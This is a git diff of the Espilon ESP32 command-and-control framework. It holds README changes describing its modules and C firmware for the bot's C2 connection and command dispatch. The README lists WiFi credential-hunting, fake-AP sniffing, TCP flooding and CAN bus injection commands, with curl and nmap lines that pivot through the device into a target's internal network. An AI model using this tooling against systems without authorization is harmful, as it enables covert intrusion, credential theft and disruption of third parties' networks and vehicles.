> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
|
||||
>
|
||||
> **New here?** Check the [Quick Start Guide](QUICKSTART.md) — get a working C2 with a simulated device in under 5 minutes, no ESP32 required.
|
||||
|
||||
---
|
||||
|
||||
@ -27,8 +29,13 @@
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Red Team Module](#red-team-module)
|
||||
- [Honeypot Module](#honeypot-module)
|
||||
- [Tunnel Module](#tunnel-module-socks5-proxy)
|
||||
- [CAN Bus Module](#can-bus-module-mcp2515)
|
||||
- [OTA Module](#ota-module)
|
||||
- [Tools](#tools)
|
||||
- [Multi-Device Flasher](#multi-device-flasher)
|
||||
- [Deploy Tool](#deploy-tool)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Security](#security)
|
||||
- [Encryption](#encryption)
|
||||
@ -57,7 +64,7 @@ The MkDocs documentation includes:
|
||||
- Translate EN/FR
|
||||
- WiFi and GPRS configuration
|
||||
- Module and command reference
|
||||
- Multi-device flasher guide
|
||||
- Deploy tool guide
|
||||
- C2 protocol specification
|
||||
- Examples and use cases
|
||||
```
|
||||
@ -89,7 +96,7 @@ cd ~
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd Espilon-Net/espilon_bot
|
||||
|
||||
# 3. Configure with menuconfig or tools/flasher/devices.json
|
||||
# 3. Configure with menuconfig or tools/deploy.py
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Build and flash
|
||||
@ -138,12 +145,13 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
||||
| ESP32 Agent |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
||||
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | | | |
|
||||
| +-----------------------------------------------------+|
|
||||
| | Module System (FreeRTOS) ||
|
||||
| | [Network] [FakeAP] [Recon] [Custom...] ||
|
||||
| | [Network] [Tunnel] [FakeAP] [Recon] [RedTeam] ||
|
||||
| | [Honeypot] [CAN Bus] [OTA] [Custom...] ||
|
||||
| +-----------------------------------------------------+|
|
||||
+---------------------------------------------------------+
|
||||
| Encrypted TCP
|
||||
@ -151,22 +159,22 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
|
||||
| C2 Server (C3PO) |
|
||||
| - Device Registry |
|
||||
| - Group Management |
|
||||
| - CLI Interface |
|
||||
| - TUI + Web UI |
|
||||
+---------------------+
|
||||
```
|
||||
|
||||
### Key Components
|
||||
|
||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
||||
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
|
||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||
- **Flasher**: Automated multi-device flashing tool
|
||||
- **Deploy**: Unified build, provision & flash pipeline (`tools/deploy.py`)
|
||||
|
||||
---
|
||||
|
||||
## Available Modules
|
||||
|
||||
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
|
||||
> Modules are enabled independently via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Multiple modules can be active simultaneously (subject to flash/RAM constraints).
|
||||
|
||||
### System Module (Built-in, always active)
|
||||
|
||||
@ -175,33 +183,33 @@ Basic system commands:
|
||||
- `system_reboot`: Reboot the ESP32
|
||||
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
||||
- `system_uptime`: Uptime since boot
|
||||
- `system_info`: Chip info, SDK version, active modules
|
||||
|
||||
### Network Module
|
||||
|
||||
Module for network reconnaissance and testing:
|
||||
Network reconnaissance, testing, and SOCKS5 tunnel proxy:
|
||||
|
||||
- `ping <host> [args...]`: ICMP connectivity test
|
||||
- `arp_scan`: Discover hosts on local network via ARP
|
||||
- `proxy_start <ip> <port>`: Start a TCP proxy
|
||||
- `proxy_stop`: Stop the running proxy
|
||||
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
||||
- `tun_start <ip> <port>`: Start SOCKS5 tunnel proxy to C3PO (requires `CONFIG_MODULE_TUNNEL`)
|
||||
- `tun_stop`: Stop the tunnel
|
||||
- `tun_status`: Tunnel status (channels, bytes, encryption mode)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module for creating simulated WiFi access points:
|
||||
Simulated WiFi access points with captive portal and traffic sniffing:
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
||||
- `fakeap_stop`: Stop the fake AP
|
||||
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients`: List connected clients
|
||||
- `fakeap_portal_start`: Enable captive portal
|
||||
- `fakeap_portal_stop`: Disable captive portal
|
||||
- `fakeap_sniffer_on`: Enable network traffic capture
|
||||
- `fakeap_sniffer_off`: Disable capture
|
||||
- `fakeap_portal_start` / `fakeap_portal_stop`: Captive portal
|
||||
- `fakeap_sniffer_on` / `fakeap_sniffer_off`: Traffic capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Reconnaissance and data collection module. Two modes available:
|
||||
Reconnaissance and data collection. Two modes:
|
||||
|
||||
#### Camera Mode (ESP32-CAM)
|
||||
|
||||
@ -213,66 +221,119 @@ Reconnaissance and data collection module. Two modes available:
|
||||
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
||||
- `trilat stop`: Stop trilateration
|
||||
|
||||
### Red Team Module
|
||||
|
||||
Autonomous WiFi hunting, credential attacks, and ESP-NOW mesh relay:
|
||||
|
||||
- `hunt_start [profile]`: Launch autonomous WiFi scan + attack cycle
|
||||
- `hunt_stop`: Stop hunting
|
||||
- `hunt_status`: Current targets, progress, captured credentials
|
||||
- Stealth features: MAC randomization, passive scanning, timing jitter
|
||||
- ESP-NOW mesh: multi-hop relay for out-of-range C2
|
||||
|
||||
### Honeypot Module
|
||||
|
||||
Fake network services that log attacker interactions:
|
||||
|
||||
- Emulated services: SSH, Telnet, HTTP, FTP (configurable ports)
|
||||
- WiFi monitor: detect rogue APs and deauth attacks
|
||||
- Network anomaly detection: ARP spoofing, port scanning alerts
|
||||
- All events streamed to C2 with attacker fingerprints
|
||||
|
||||
### Tunnel Module (SOCKS5 Proxy)
|
||||
|
||||
Multiplexed SOCKS5 tunnel proxy through the ESP32. Use any network tool (`curl`, `nmap`, `proxychains`) to pivot through the bot onto the target network.
|
||||
|
||||
- SOCKS5 runs on C3PO (port 1080) — the ESP32 only handles binary frames
|
||||
- Up to 8 concurrent TCP connections (configurable via Kconfig)
|
||||
- DNS resolution on the ESP32 side (sees internal DNS of the target network)
|
||||
- Auto-reconnect with exponential backoff if C3PO connection drops
|
||||
- Optional per-frame ChaCha20-Poly1305 AEAD encryption
|
||||
|
||||
**C3PO ports**: 2626 (C2 commands) + 2627 (tunnel data) + 1080 (SOCKS5, localhost only)
|
||||
|
||||
```bash
|
||||
# Start tunnel from C2
|
||||
send <device_id> tun_start <c3po_ip> 2627
|
||||
|
||||
# Use any tool through the proxy
|
||||
curl --socks5-hostname 127.0.0.1:1080 http://target-internal.local
|
||||
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
|
||||
```
|
||||
|
||||
See [TUNNEL.md](TUNNEL.md) for full protocol specification and testing guide.
|
||||
|
||||
### CAN Bus Module (MCP2515)
|
||||
|
||||
Automotive CAN bus: sniff, inject, UDS diagnostics, OBD-II, and fuzzing via external MCP2515 SPI controller.
|
||||
|
||||
- `can_start [bitrate] [mode]`: Init bus (normal/listen/loopback)
|
||||
- `can_sniff [duration]` / `can_record` / `can_replay`: Capture and replay
|
||||
- `can_send <id> <data>`: Frame injection
|
||||
- UDS: `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
|
||||
- OBD-II: `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
|
||||
- Fuzzing: `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
|
||||
|
||||
See [mod_canbus documentation](espilon_bot/components/mod_canbus/README.md) for full details.
|
||||
|
||||
### OTA Module
|
||||
|
||||
Over-the-air firmware updates from C2 server:
|
||||
|
||||
- Secure HTTPS firmware download (optional HTTP fallback)
|
||||
- Dual partition scheme (A/B) for safe rollback
|
||||
- Progress reporting to C2
|
||||
|
||||
---
|
||||
|
||||
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
|
||||
**Configuration**: `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
Choose **only one module**:
|
||||
|
||||
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
|
||||
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
|
||||
- `CONFIG_MODULE_RECON`: Enable the Recon Module
|
||||
- Then choose: `Camera` or `BLE Trilateration`
|
||||
- `CONFIG_MODULE_NETWORK`: Network Module
|
||||
- `CONFIG_MODULE_FAKEAP`: FakeAP Module
|
||||
- `CONFIG_MODULE_RECON`: Recon Module (Camera or BLE Trilateration)
|
||||
- `CONFIG_MODULE_REDTEAM`: Red Team Module
|
||||
- `CONFIG_MODULE_HONEYPOT`: Honeypot Module
|
||||
- `CONFIG_MODULE_TUNNEL`: SOCKS5 Tunnel Proxy (requires `CONFIG_MODULE_NETWORK`)
|
||||
- `CONFIG_MODULE_CANBUS`: CAN Bus Module (requires MCP2515 hardware)
|
||||
- `CONFIG_ESPILON_OTA_ENABLED`: OTA Updates
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
### Multi-Device Flasher
|
||||
### Deploy Tool
|
||||
|
||||
Automated flasher to configure multiple ESP32s:
|
||||
Unified pipeline to **build**, **provision** (crypto keys), and **flash** ESP32 devices:
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
cd tools
|
||||
|
||||
# Interactive wizard
|
||||
python3 deploy.py
|
||||
|
||||
# Single device
|
||||
python3 deploy.py -p /dev/ttyUSB0 -d my-device \
|
||||
--wifi MySSID MyPassword --srv 192.168.1.100
|
||||
|
||||
# Batch deploy
|
||||
python3 deploy.py --config deploy.example.json
|
||||
```
|
||||
|
||||
**devices.json**:
|
||||
Each deploy generates a **256-bit master key** per device, writes it to the factory NVS partition, and registers it in the C2 keystore (`keys.json`).
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/path/to/espilon_bot",
|
||||
"devices": [
|
||||
{
|
||||
"device_id": "esp001",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyNetwork",
|
||||
"wifi_pass": "MyPassword",
|
||||
"srv_ip": "192.168.1.100"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||
See [tools/README.md](tools/README.md) for complete documentation (modes, batch config, OTA vs non-OTA, flash map).
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Command & Control server:
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
**Commands**:
|
||||
|
||||
- `list`: List connected agents
|
||||
- `select <id>`: Select an agent
|
||||
- `cmd <command>`: Execute a command
|
||||
- `group`: Manage agent groups
|
||||
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
@ -280,17 +341,13 @@ python3 c3po.py --port 2626
|
||||
|
||||
### Encryption
|
||||
|
||||
- **ChaCha20** for C2 communications
|
||||
- **Configurable keys** via menuconfig
|
||||
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
|
||||
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
|
||||
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
|
||||
- **Per-device master keys** stored in factory NVS partition (read-only)
|
||||
- **Protocol Buffers (nanoPB)** for serialization
|
||||
|
||||
**CHANGE DEFAULT KEYS** for production use:
|
||||
|
||||
```bash
|
||||
# Generate random keys
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
Provision each device with a unique master key using `tools/deploy.py`. Keys are never hardcoded in firmware.
|
||||
|
||||
### Responsible Use
|
||||
|
||||
@ -329,20 +386,28 @@ Espilon should only be used for:
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (In Progress)
|
||||
### V2.0 (Complete)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Improve documentation
|
||||
- [ ] OTA updates
|
||||
- [ ] Collaborative multilateration
|
||||
- [ ] Memory optimization
|
||||
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
|
||||
- [x] Per-device factory NVS key provisioning
|
||||
- [x] C3PO C2 rewrite with per-device crypto
|
||||
- [x] OTA firmware updates
|
||||
- [x] Red Team module (autonomous WiFi hunting)
|
||||
- [x] Honeypot module (fake services + monitoring)
|
||||
- [x] CAN Bus module (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
|
||||
- [x] Web dashboard with device management, camera, MLAT, OTA, CAN
|
||||
- [x] SOCKS5 tunnel proxy (multiplexed pivot through ESP32)
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] BLE module (scan, GATT enum, beacon spoofing)
|
||||
- [ ] Sub-GHz module (CC1101 — 433/868/915 MHz)
|
||||
- [ ] BadUSB module (ESP32-S2/S3 HID injection)
|
||||
- [ ] Custom Espilon PCB
|
||||
- [ ] ESP32-S3/C3 support
|
||||
- [ ] Module SDK for third-party extensions
|
||||
- [ ] Web UI for C2
|
||||
|
||||
See [MODULE_IDEAS.md](MODULE_IDEAS.md) for the full list of planned modules.
|
||||
|
||||
---
|
||||
|
||||
@ -385,7 +450,7 @@ Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
- **[Full documentation](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **French README**: [README.md](README.md)
|
||||
- **French README**: [README.fr.md](README.fr.md)
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -1,7 +0,0 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
command.c
|
||||
command_async.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES freertos core
|
||||
)
|
||||
@ -1,57 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t
|
||||
#include "c2.pb.h"
|
||||
|
||||
/* ============================================================
|
||||
* Limits
|
||||
* ============================================================ */
|
||||
#define MAX_COMMANDS 32
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
/* ============================================================
|
||||
* Command handler prototype
|
||||
* ============================================================ */
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* Command definition
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
const char *name; /* command name */
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler; /* handler */
|
||||
void *ctx; /* optional context */
|
||||
bool async; /* async execution */
|
||||
} command_t;
|
||||
|
||||
/* ============================================================
|
||||
* Registry
|
||||
* ============================================================ */
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
|
||||
/* ============================================================
|
||||
* Dispatcher (called by process.c)
|
||||
* ============================================================ */
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
|
||||
/* ============================================================
|
||||
* Async support
|
||||
* ============================================================ */
|
||||
void command_async_init(void);
|
||||
|
||||
void command_async_enqueue(
|
||||
const command_t *cmd,
|
||||
const c2_Command *pb_cmd
|
||||
);
|
||||
@ -1,101 +0,0 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
|
||||
/* =========================================================
|
||||
* Worker task
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
async_queue = xQueueCreate(8, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
xTaskCreate(
|
||||
async_worker,
|
||||
"cmd_async",
|
||||
4096,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
|
||||
pb_cmd->argv[i],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
ESP_LOGE(TAG, "Async queue full");
|
||||
msg_error("cmd", "Async queue full",
|
||||
pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
@ -1,20 +1,25 @@
|
||||
set(PRIV_REQUIRES_LIST
|
||||
set(PRIV_REQUIRES_LIST
|
||||
mbedtls
|
||||
lwip
|
||||
mod_network
|
||||
nvs_flash
|
||||
lwip
|
||||
mod_network
|
||||
mod_fakeAP
|
||||
mod_recon
|
||||
mod_honeypot
|
||||
mod_fallback
|
||||
mod_redteam
|
||||
mod_canbus
|
||||
esp_timer
|
||||
esp_driver_uart
|
||||
driver
|
||||
command
|
||||
freertos
|
||||
)
|
||||
|
||||
idf_component_register(
|
||||
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
|
||||
"command.c" "command_async.c"
|
||||
"nanoPB/c2.pb.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_decode.c"
|
||||
INCLUDE_DIRS "." "nanoPB"
|
||||
|
||||
|
||||
@ -9,6 +9,7 @@
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/timers.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
@ -16,17 +17,142 @@
|
||||
#include "c2.pb.h"
|
||||
#include "pb_decode.h"
|
||||
|
||||
#include "freertos/semphr.h"
|
||||
#include <stdatomic.h>
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#endif
|
||||
|
||||
int sock = -1;
|
||||
SemaphoreHandle_t sock_mutex = NULL;
|
||||
|
||||
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
|
||||
atomic_bool fb_active = false;
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
static const char *TAG = "CORE_WIFI";
|
||||
|
||||
|
||||
|
||||
#define RX_BUF_SIZE 4096
|
||||
#define RECONNECT_DELAY_MS 5000
|
||||
#define RX_TIMEOUT_S 10
|
||||
|
||||
/* =========================================================
|
||||
* WiFi reconnect with exponential backoff + full restart
|
||||
* ========================================================= */
|
||||
#define WIFI_BACKOFF_INIT_MS 1000
|
||||
#define WIFI_BACKOFF_MAX_MS 30000
|
||||
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
|
||||
|
||||
static int wifi_retry_count = 0;
|
||||
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
static TimerHandle_t reconnect_timer = NULL;
|
||||
|
||||
static void wifi_reconnect_cb(TimerHandle_t t)
|
||||
{
|
||||
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
|
||||
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
|
||||
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
|
||||
esp_wifi_stop();
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_wifi_start();
|
||||
esp_wifi_connect();
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_connect();
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi event handler — backoff reconnect on disconnect
|
||||
* ========================================================= */
|
||||
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
|
||||
int32_t event_id, void *event_data)
|
||||
{
|
||||
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
wifi_event_sta_disconnected_t *evt =
|
||||
(wifi_event_sta_disconnected_t *)event_data;
|
||||
|
||||
/* If fallback hunt is active, it handles WiFi — skip reconnect */
|
||||
if (fb_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
|
||||
if (fakeap_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
|
||||
evt->reason, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
wifi_retry_count++;
|
||||
|
||||
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
|
||||
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
|
||||
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
|
||||
CONFIG_FB_WIFI_FAIL_THRESHOLD);
|
||||
extern void fb_hunt_trigger(void);
|
||||
fb_hunt_trigger();
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Schedule reconnect with backoff */
|
||||
if (reconnect_timer) {
|
||||
xTimerChangePeriod(reconnect_timer,
|
||||
pdMS_TO_TICKS(wifi_backoff_ms),
|
||||
0);
|
||||
xTimerStart(reconnect_timer, 0);
|
||||
}
|
||||
|
||||
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
|
||||
wifi_backoff_ms *= 2;
|
||||
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
|
||||
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
|
||||
}
|
||||
|
||||
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
||||
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
|
||||
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
|
||||
|
||||
/* Reset backoff on successful connection */
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Pause/resume reconnect (used by Red Team hunt module)
|
||||
* ========================================================= */
|
||||
void wifi_pause_reconnect(void)
|
||||
{
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
ESP_LOGI(TAG, "WiFi reconnect paused");
|
||||
}
|
||||
|
||||
void wifi_resume_reconnect(void)
|
||||
{
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi init
|
||||
@ -41,6 +167,16 @@ void wifi_init(void)
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
/* Reconnect timer (one-shot, started on disconnect) */
|
||||
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
|
||||
pdFALSE, NULL, wifi_reconnect_cb);
|
||||
|
||||
/* Register event handlers */
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&wifi_event_handler, NULL));
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&wifi_event_handler, NULL));
|
||||
|
||||
wifi_config_t wifi_config = {
|
||||
.sta = {
|
||||
.ssid = CONFIG_WIFI_SSID,
|
||||
@ -63,8 +199,8 @@ static bool tcp_connect(void)
|
||||
{
|
||||
struct sockaddr_in server_addr = {0};
|
||||
|
||||
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket() failed");
|
||||
return false;
|
||||
}
|
||||
@ -73,15 +209,22 @@ static bool tcp_connect(void)
|
||||
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(sock,
|
||||
if (lwip_connect(new_sock,
|
||||
(struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
ESP_LOGE(TAG, "connect() failed");
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
lwip_close(new_sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "Connected to %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
@ -89,59 +232,261 @@ static bool tcp_connect(void)
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* Server identity verification (challenge-response AEAD)
|
||||
*
|
||||
* Sends HELLO:device_id, server responds with AEAD-encrypted
|
||||
* challenge. If we can decrypt it (tag OK), the server has
|
||||
* the correct key and is authentic.
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
static bool server_verify(void)
|
||||
{
|
||||
/* 1) Send HELLO:device_id\n */
|
||||
char hello[128];
|
||||
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int s = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (lwip_write(s, hello, strlen(hello)) <= 0) {
|
